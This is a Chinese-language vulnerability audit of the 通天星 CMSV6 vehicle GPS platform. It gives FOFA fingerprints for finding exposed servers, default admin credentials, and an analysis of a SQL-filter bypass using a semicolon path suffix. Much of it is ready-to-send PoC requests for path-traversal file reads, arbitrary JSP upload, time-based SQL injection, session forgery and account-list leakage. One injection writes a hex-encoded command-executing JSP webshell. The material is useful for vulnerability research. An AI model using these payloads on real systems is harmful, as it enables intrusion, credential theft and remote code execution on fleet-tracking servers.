fofa指纹
body="./open/webApi.html"||body="/808gps/"
/gpsweb/WEB-INF/classes/config/version.conf中可以查看版本。
框架分析
默认安装目录为C:\Program Files\CMSServerV6\
默认账户:admin/admin
框架结构
跟进web.xml,可以看到用了Spring框架。spring-mvc.xml中定义了要扫描的base-package包括com.gps808,com.framework,com.gener,com.ttx,com.upgradeService。
<servlet>
<servlet-name>spring</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>classpath:/spring-mvc.xml</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>spring</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
所有以.action和.html结尾的路由都由Struts2处理
<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>*.action</url-pattern>
<dispatcher>REQUEST</dispatcher>
<dispatcher>FORWARD</dispatcher>
<dispatcher>INCLUDE</dispatcher>
</filter-mapping>
跟进struts.xml
<constant name="struts.action.excludePattern" value="/ws/.*,ws://.*,/druid/.*"/>
<!-- =========web请求通用配置========== -->
<action name="**/*_*.action" class="{2}" method="{3}">
<!-- =========API请求通用配置========== -->
<action name="*_*.action" class="{1}" method="{2}">
其中API请求配置位于struts-api-action.xml,配置了每个API Action的访问路径(基本都包含StandardApiAction)。
前缀问题
有意思的是,网上涉及到struts2路由的poc中都带了/808gps/这个路由前缀,但是在审计过程中这个package名并不是必须的。仔细看struts.xml中的web请求通用配置,如下
<action name="**/*_*.action" class="{2}" method="{3}">
**
可以匹配任意数量的路径段,/808gps可以匹配,/aa/bb也可以匹配。并不影响后面class和method的调用。所以这个前缀可以有,也可以没有,甚至可以是任何东西。
class访问
Struts2和Spring框架结合的特点是
1. 如果Action类在Struts2的struts.xml中定义,可以直接通过name属性来调用。例如通天星struts.xml中定义的downloadLogger.action
<action name="downloadLogger.action" class="com.gps808.loggerManagement.action.DownloadLoggerAction">
<result name="success" type="stream">
<param name="contentType">application/octet-stream</param>
<param name="inputName">inputStream</param>
<param name="contentDisposition">attachment;filename="${fileName}"</param>
<param name="bufferSize">4096</param>
</result>
</action>
2. 如果Action类在Spring的配置文件中定义为Bean,可以通过Bean的名字调用。例如applicationContext-gps808-api.xml文件中的StandardApiAction
<bean name="StandardApiAction" class="com.gps808.api.action.StandardApiAction" scope="prototype" parent="standardUserBaseAction">
<property name="videoTrackService" ref="videoTrackService" />
<property name="standardVehicleMediaService" ref="standardVehicleMediaService" />
</bean>
3. 如果既没有在struts.xml中定义,又没有在Spring配置文件中定义为Bean,那么想要访问相应的Action类需要使用全限定类名,否则无法找到对应的class。例如com.framework.web.action.FileUploadAction
<action name="**/*_*.action" class="{2}" method="{3}">
session
Ps:如果响应result:2的话,则是表示该路由需要登录后才能访问
sessionFilter.xml中定义了诸多无需session的Action,如下
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xml>
<model>
<value>com.framework.web.action.FileUploadAction</value>
<value>com.framework.web.action.RandomPictureAction</value>
<value>com.framework.web.action.FileDownLoadAction</value>
<value>com.gps808.operationManagement.action.StandardLoginAction</value>
<value>com.gps808.plugin.schoolBus.action.StandardWechatAction</value>
<value>com.gps808.api.action.StandardApiAction</value>
<value>com.gps808.api.action.RestfulAction</value>
<value>com.gps808.api.action.AccountAction</value>
<value>com.gps808.api.action.LoginAction</value>
<value>com.gps808.api.action.MobileAction</value>
<value>com.gps808.api.action.LoginApiAction</value>
<value>com.gps808.api.action.AlarmAction</value>
<value>com.gps808.api.action.CompanyAction</value>
<value>com.gps808.api.action.RoleAction</value>
<value>com.gps808.api.action.DevFlowAction</value>
<value>com.gps808.api.action.DeviceAction</value>
<value>com.gps808.api.action.DispatchGroupAction</value>
<value>com.gps808.api.action.LineAction</value>
<value>com.gps808.api.action.MapMarkerAction</value>
<value>com.gps808.api.action.PictureAction</value>
<value>com.gps808.api.action.StandardApiServerAction</value>
<value>com.gps808.api.action.StandardRuleMaintainAction</value>
<value>com.gps808.api.action.SuperVisionAction</value>
<value>com.gps808.api.action.TtsAction</value>
<value>com.gps808.api.action.UserInspecAction</value>
<value>com.gps808.api.action.UserSessionAction</value>
<value>com.gps808.api.action.VehiAction</value>
<value>com.gps808.api.action.VehicleMediaAction</value>
<value>com.gps808.api.action.VideoAction</value>
<value>com.gps808.api.action.PhoneOrderAction</value>
<value>com.gps808.api.action.TaxiBigScreenAnalysisAction</value>
<value>com.gps808.api.action.UploadAction</value>
<value>com.gps808.api.action.SupervisionBoardAnalysisAction</value>
<value>com.gps808.api.action.WisdomMuckBoardAnalysisAction</value>
<!--车辆与司机操作信息 -->
<value>com.gps808.api.action.VehicleDriverAction</value>
<value>com.gps808.api.action.WebuploaderApiAction</value>
<value>com.gps808.api.action.DriverAction</value>
<value>com.gps808.api.action.SchoolBusApiAction</value>
<value>com.gps808.api.action.VehiDataAnalysisAction</value>
<value>com.gps808.api.action.VehiOilAction</value>
<value>com.gps808.api.action.SimCardAction</value>
<value>com.gps808.api.action.PeopleAction</value>
<!--微信模块 -->
<value>com.gps808.wechat.module.wechat.WechatController</value>
<value>com.gps808.api.action.WxpayAction</value>
<value>com.gps808.api.action.DevOfflineUpgradeAction</value>
<value>com.gps808.vdo.action.Vdo</value>
<value>com.gps808.vdo.action.VdoE</value>
<value>com.gps808.vdo.action.Status</value>
<value>com.gz.system.action.GzBkLoginAction</value>
<value>com.gps808.plugin.eleCirManagement.action.StandardOpenAction</value>
<value>com.gps808.track.action.StandardTrackAction</value>
<value>com.gps808.loggerManagement.action.SelectDevAction</value>
<value>com.gps808.loggerManagement.action.MultiFileDownloadAction</value>
<value>com.gps808.loggerManagement.action.DownloadLoggerAction</value>
<value>com.gps808.operationManagement.action.StandardHttpSendAction</value>
<!-- <value>com.gps808.report.action.StandardReportAlarmSuBiao</value>-->
<value>com.gps808.operationManagement.action.StandardDriverAction</value>
<value>com.gps808.monitor.action.StandardTTSAction</value>
<value>com.gps808.operationManagement.action.StandardBannerManagementAction</value>
<value>com.gps808.report.action.StandardReportMediaAction</value>
<value>com.gps808.report.action.StandardIndexManageAction</value>
<value>com.gps808.operationManagement.action.WebuploaderAction</value>
<!--H5/App报表-->
<value>com.gps808.h5.action.StandardH5Action</value>
<value>com.gps808.h5.action.StandardOilAction</value>
<value>com.gps808.h5.action.StandardClockAction</value>
<value>com.gps808.h5.action.StandardMileageAction</value>
</model>
查找sessionFilter.xml在何处被引用,定位到SessionIterceptor。它在struts.xml中配置如下
<interceptor name="sessionOut" class="com.gpsCommon.filter.SessionIterceptor"/>
代码如下
首先要跳过如下if的判断,才能进入到else调用方法的逻辑中。
if ((SessionParamFilter.getSessionUserId() != null || SessionParamFilter.getPoliceId() != null || SessionParamFilter.getSessionDriverId() != null) && !this.handleMethodAuth(SessionParamFilter.getSessionId(), action.getClass(), method))
这几个或关系的getxxId的逻辑非常相似
都是通过获取jsessionId相关参数或头部参数来赋值,如果无法从相应的Attribute中获取到值就返回null。
handleMethodAuth,获取方法上的@CheckPermission标签,如果没有获取到,就获取类上的@CheckPermission标签。
else中对于是否直接调用方法的判断逻辑如下。1. struts.xml配置的name包含.html 2. @NotLogin标签 3. isAllowContinue允许的Action。4. method包含excel
针对于条件3中的判断action是否是allow的,如果是的话,直接反射调用方法。而相应的lstAction这个allow列表是从sessionFilter.xml中读取的这些Action类。
else if (this.isAllowContinue(action.getClass().getName()) && !name.contains("_keepSessionLive")) {
return invocation.invoke();
}
private boolean isAllowContinue(String actionName) {
return !AssertUtils.isNull(actionName) && lstAction != null ? lstAction.contains(actionName) : false;
}
p6spy组件
p6spy是一个开源项目,可以截取和记录数据库数据,而无需对现有应用程序进行代码更改。想要使用p6spy,在引入该项目后,需要配置spy.properties。通天星配置如下
driverlist
:指定要监控的数据库驱动(如MySQL)。dateformat
和databaseDialectDateFormat
:定义日志输出中日期时间的格式。appender
:指定日志记录的方式(这里使用的是SLF4J)。logMessageFormat
:定义日志格式化方式,指定了一个自定义的格式化器类。
slf4j仅仅是一个为Java程序提供日志输出的统一接口,需要配合其他日志实现方案使用,如log4j2。通天星log4j2配置如下。INFO级别的日志信息会输出到log_info.log文件中。
log_info.log的绝对路径为C:\Program Files\CMSServerV6\tomcat\logs\log_info.log
p6spy既然回监控数据库操作,那么查看通天星Hibernate相关配置,例如standardusersession.hbm.xml。对应的表是user_session表
sql过滤
gpsCommon的Filter中有个名为SqlFilter的类。对sql的一些关键字进行过滤,如果匹配到就会报错。
但是它对上述四个路由不进行过滤,这也导致了StandardApiAction_vehicleTTS的sql注入漏洞可以用select等字眼。
首先,架构分析中提到sqlFilter是用str.contains(badStrs[i])来匹配黑名单的,而Java 的String.contains()方法是大小写敏感的,它不会将SELECT和黑名单的select匹配。所以sqlFilter在实现的时候先执行了一步str = str.toLowerCase();将所有传入的字符转为小写字符,避免大写绕过。
另外需要注意,这里获取路径用的是req.getRequestURI,会包含特殊字符。假如路径中为/;/index,那么req.getRequestURI获取得到的结果依旧是/;/index,而tomcat在解析时会把分号后面的内容截断。这样就可以在存在sql漏洞点的路由后加入;downloadLogger.action字眼,绕过检测。
历史漏洞
通天星官方有个历史漏洞列表:http://faq.cmsv8.com/helpcenter.html?page_id=1249
官方列出的历史漏洞。大部分漏洞在7.33.0.7已经修复。
漏洞名称 | 漏洞详情 | 严重等级 | 受影响的版本 |
---|---|---|---|
远程代码执行漏洞 | web.body=”/808gps/js/public.js” | 高危 | <= V7.33.0.2 |
用户密码重置漏洞 | 通过构造漏洞利用数据包,可重置任意用户的账号密码 | 高危 | <= V7.33.0.2 |
任意文件删除漏洞 | 通过构造漏洞利用数据包,可实现任意文件删除 | 高危 | <= V7.33.0.2 |
SQL注入漏洞 | /run_stop/delete.do;downloadLogger.action | 高危 | < V7.33.0.1 |
用户SESSION伪造漏洞 | com\gps808\api\action\UserSessionAction.class | 高危 | <= V7.33.0.3 |
命令执行漏洞 | 全局登陆校验拦截器,只有满⾜⼀些条件的请求路由才允许未授权访问,通过访问恶意篡改的文件可以过掉该拦截器 | 高危 | <= V7.33.0.3 |
/inspect_file/upload 文件上传漏洞 | /inspect_file/upload | 高危 | <= V7.33 |
任意文件上传 | WebuploaderAction_ajaxAttachFileUpload.action | 高危 | <= V7.33 |
SQL注入漏洞 | getAlarmAppealByGuid;downloadLogger.action | 中危 | < V7.33.0.6 |
/point_manage/merge sql注入漏洞 | /point_manage/merge | 高危 | < V7.33.0.6 |
逻辑缺陷漏洞 | com.gps808.api.action.AccountAction接口没有验证jsession | 中危 | <= V7.33.0.7 |
逻辑缺陷漏洞 | 808gps/StandardLoginAction_loginHelpCenter.action | 中危 | <= V7.33.0.7 |
网上已披露的其他漏洞
漏洞名称 | 路由 |
StandardReportMediaAction_getImage 文件读取漏洞 | /808gps/StandardReportMediaAction_getImage.action |
MobileAction_downLoad.action 文件读取漏洞 | /808gps/MobileAction_downLoad.action |
StandardApiAction_vehicleTTS.action sql注入漏洞 | /StandardApiAction_vehicleTTS.action |
StandardLoginAction_getAllUser.action 信息泄漏漏洞 | /808gps/StandardLoginAction_getAllUser.action |
FileUploadAction_upload 文件上传 + jasper反序列化漏洞
StandardLineAction的report方法
跟进createReport,会调用getJasperReportFromFile,也就是读取xx.jasper文件的内容,然后从该文件中loadObject
loadObject实际就是原生反序列化的代码。
那么只要有一个可控的jasper文件,就可以造成RCE。接着就要找一个上传点。例如FileUploadAction。它是sessionFilter中定义的类,也就是无需session
反序列化在利用时需要注意,lib中符合攻击条件的jar包是commons-beanutils-1.8.0.jar,虽然cb链条很常见,但是网上默认的payload都是用1.9生成的,打1.8会出现问题。需要用cb1.8来攻击。
复现如下
先上传jasper文件
再触发反序列化
CommonBaseAction_downLoad 任意文件下载漏洞
定位/gpsweb/WEB-INF/classes/gpsweb.jar!/com/gpsCommon/action/CommonBaseAction.class。获取filePath,首先经过一个黑名单判断,filePath不能包含tomcat/、tomcat/ttxapps、.xml、WEB-INF、classes。如果不在黑名单中就读取相应的文件
filePath是通过path参数传参的。
需要注意,该抽象类有诸多实现类
POC如下
/808gps/StandardLoginAction_downLoad.action?path=../../../../webapps/../logs/log_info.log&isTure=0
读取log_info日志中的user_session用于登录。
如果显示file not found,尝试更改../数量
MobileAction_downLoad.action 文件下载漏洞
网上的MobileAction文件下载漏洞,poc如下。作为CommonBaseAction的实现类之一,虽然重写了download方法但是与CommonBaseAction逻辑很相似。
GET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Edg/97.0.1072.55
Connection: close
Accept: */*
Accept-Encoding: gzip
只不过代码中做了..和.的替换,所以无法跨目录
inspect_file 文件上传
漏洞定位InspectFileUploadController
fileName直接从文件名中获取并拼接。没有进行过滤,可以..跨目录
POC如下
POST /inspect_file/upload HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: */*
Content-Type: multipart/form-data;boundary=-----------------------------7db372eb000e2
-----------------------------7db372eb000e2
Content-Disposition: form-data; name="uploadFile"; filename="1.jsp"
Content-Type: application/octet-stream
<% out.println("hello,test");new java.io.File(application.getRealPath(request.getServletPath())).delete(); %>
-----------------------------7db372eb000e2--
StandardReportMediaAction_getImage 文件读取
POC如下
GET /808gps/StandardReportMediaAction_getImage.action?filePath=C://Windows//win.ini&fileOffset=1&fileSize=100 HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1
Accept-Encoding: gzip
Connection: close
/point_manage/merge sql注入
漏洞定位PointManageController类的merge方法,最终调用的方法如下
sql语句拼接的样式大致为
select ... from xj_point_manage a where a.name= 'xx' and a.id != 'xx'
这个漏洞的关键在于,是怎么绕过sql检查的。
POST /point_manage/merge HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.2882.93 Safari/537.36
Content-Type: application/x-www-form-urlencoded
id=1&name=1' UNION SELECT%0aNULL, 0x3c25206a6176612e696f2e496e70757453747265616d20696e203d2052756e74696d652e67657452756e74696d6528292e6578656328726571756573742e676574506172616d657465722822636d642229292e676574496e70757453747265616d28293b696e742061203d202d313b627974655b5d2062203d206e657720627974655b323034385d3b6f75742e7072696e7428223c7072653e22293b7768696c652828613d696e2e7265616428622929213d2d31297b6f75742e7072696e746c6e286e657720537472696e6728622c302c6129293b7d6f75742e7072696e7428223c2f7072653e22293b6e6577206a6176612e696f2e46696c65286170706c69636174696f6e2e6765745265616c5061746828726571756573742e676574536572766c657450617468282929292e64656c65746528293b253e,NULL,NULL,NULL,NULL,NULL,NULL
INTO dumpfile '../../tomcat/webapps/gpsweb/rce.jsp' FROM user_session a
WHERE '1 '='1 &type=3&map_id=4&install_place=5&check_item=6&create_time=7&update_time=8
黑名单是按照|来拆分的,拆分之后select后面是包含了一个空格的,那么如果我们的语句中select后面没有空格也无法匹配。所以poc中用%0a让空格无法匹配。
disable sql注入
跟进disable方法
存在明显的sql注入问题。但是框架分析中提到系统中是存在sqlFilter过滤器的。在Tomcat中,url中的分号;用于分割路径参数。这里选取downloadLogger.action来绕过校验,它是四个不受过滤的url之一。
GET /edu_security_officer/disable;downloadLogger.action?ids=1+AND+%28SELECT+2688+FROM+%28SELECT%28SLEEP%285%29%29%29kOIi%29 HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
/run_stop/delete sql注入
漏洞定位StandardDemoRunStopController
跟进deleteRunStopBatch,明显存在sql注入
sql绕过方式downloadLogger.action分析同上。
GET /run_stop/delete;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 0
另外,在官方出的历史漏洞中,getAlarmAppealByGuid;downloadLogger.action这个sql漏洞也是同理,都是用downloadLogger.action后缀绕过检测
StandardApiAction_vehicleTTS sql注入
GET /StandardApiAction_vehicleTTS.action?DevIDNO=5'and(select*from(select+sleep(5))a/**/union/**/select+1)='&Flag=4&Text=qwe HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip
StandardLoginAction_getAllUser 信息泄漏
POST /808gps/StandardLoginAction_getAllUser.action HTTP/1.1
Host: ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
json=null
可以读取账户列表
UserSessionAction 用户SESSION伪造漏洞
整体的代码逻辑很清晰,获取userSession和id参数,如果这两个值不为空,根据session值,执行sql语句"from StandardUserSession where session = :session"。这里的StandardUserSession对应的就是user_session表。
如果没有查到对应的session值,就调用saveThirdSession,根据传入的session和id值,向user_session中插入一条数据。这样就可以伪造某个用户的seesion
String sql = "INSERT INTO user_session (UserID, Session, ClientIP,ClientType, Status, LoginTime) values(:UserID, :Session, :ClientIP,:ClientType, :Status, :LoginTime)";
log_info.log文件中会出现如下的一条日志
2024-08-16 09:54:48 [http-nio-8080-exec-10][com.p6spy.engine.spy.appender.Slf4JLogger.logSQL(Slf4JLogger.java:60)] INFO:SQL | 5 | 2024-08-16 09:54:48 | 3 | statement | INSERT INTO user_session (UserID, Session, ClientIP,ClientType, Status, LoginTime) values(4, '42AA7A2BE767123A42E1530ACC920781', 8080,5, 0, '2024-08-16 09:54:48')
POC如下
POST /808gps/LocationManagement/UserSessionAction_saveUserSession.action HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 49
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Forwarded-For: 127.0.0.1
X-Originating-Ip: 127.0.0.1
X-Remote-Ip: 127.0.0.1
X-Remote-Addr: 127.0.0.1
Te: trailers
Connection: close
userSession=42AA7A2BE767123A42E1530ACC920781&id=4